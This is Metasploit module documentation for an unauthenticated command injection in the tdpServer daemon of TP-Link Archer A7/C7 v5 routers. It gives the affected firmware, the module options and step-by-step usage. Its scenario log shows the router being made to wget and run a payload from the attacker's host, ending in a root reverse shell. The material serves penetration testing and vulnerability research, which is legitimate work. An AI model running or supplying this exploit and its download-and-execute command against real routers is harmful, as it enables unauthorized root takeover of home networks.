## Description

This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host.

This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro + Radek Domanski).
This module was updated in November 2020, after a bypass was discovered for the patch TP-Link issued. The new injection technique works on older firmware too. All firmware versions up to (but excluding) releases 201029 and 201030 are exploitable.


## Vulnerable Application

TP-Link Archer A7 (AC1750) v5 firmware version 190726
TP-Link Archer C7 (AC1750) v5 firmware version 190726

[Firmware TP-Link Archer A7](https://static.tp-link.com/2019/201908/20190827/Archer%20A7(EU)_V5_190811.zip)
[Firmware TP-Link Archer C7](https://static.tp-link.com/2019/201908/20190816/Archer%20C7(EU)_V5_190726.zip)


## Verification Steps
  Example steps in this format (is also in the PR):

  1. Connect to a target on the LAN interface
  2. Start msfconsole
  3. Do: ```use exploits/linux/misc/tplink_archer_a7_c7_lan_rce```
  4. Set RHOST, LHOST and SRVHOST
  5. Do ```check```
  6. Do: ```run```
  7. You should get a shell.
 
## Options
```
Module options (exploit/linux/misc/tplink_archerC7_lan_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    20002            yes       The target port (TCP)
   SRVHOST                   yes       IP address of the host serving the exploit
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (linux/mipsbe/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

```

## Scenarios
```
msf > use exploits/linux/misc/tplink_archer_a7_c7_lan_rce
msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set RHOST 192.168.0.1
RHOST => 192.168.0.1
msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set LHOST 192.168.0.238
LHOST => 192.168.0.238
msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > set SRVHOST 192.168.0.238
SRVHOST => 192.168.0.238
msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > check 
[+] 192.168.0.1:20002 - The target is vulnerable.
msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > 
[*] Started reverse TCP handler on 192.168.0.238:4444 
[*] Attempting to exploit TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)
[*] Starting up our web service on http://192.168.0.238:4445 ...
[*] Using URL: http://192.168.0.238:4445/x
[*] 192.168.0.1:20002 - Connecting to the target
[*] 192.168.0.1:20002 - Sending command file byte by byte
[*] 192.168.0.1:20002 - Command: wget http://192.168.0.238:4445/x;chmod +x x;./x
[*] 192.168.0.1:20002 - [0%]= = => - - - - - - - - - - - - - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = => - - - - - - - - - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = = = = = => - - - - - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = = = = = = = = = => - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = = = = = = = = = = = = = =>[100%]
[*] 192.168.0.1:20002 - Command file sent, attempting to execute...
[+] 192.168.0.1:20002 - Sending executable to the router
[+] 192.168.0.1:20002 - Sit back and relax, Shelly will come visit soon!
[*] Command shell session 1 opened (192.168.0.238:4444 -> 192.168.0.1:48112) at 2020-03-26 16:47:09 +0100
[*] Server stopped.

msf exploit(linux/misc/tplink_archer_a7_c7_lan_rce) > sessions 1
[*] Starting interaction with 1...

id
uid=0(root) gid=0(root)
uname -a
Linux ArcherC7v5 3.3.8 #1 Mon May 20 18:53:02 CST 2019 mips GNU/Linux
```
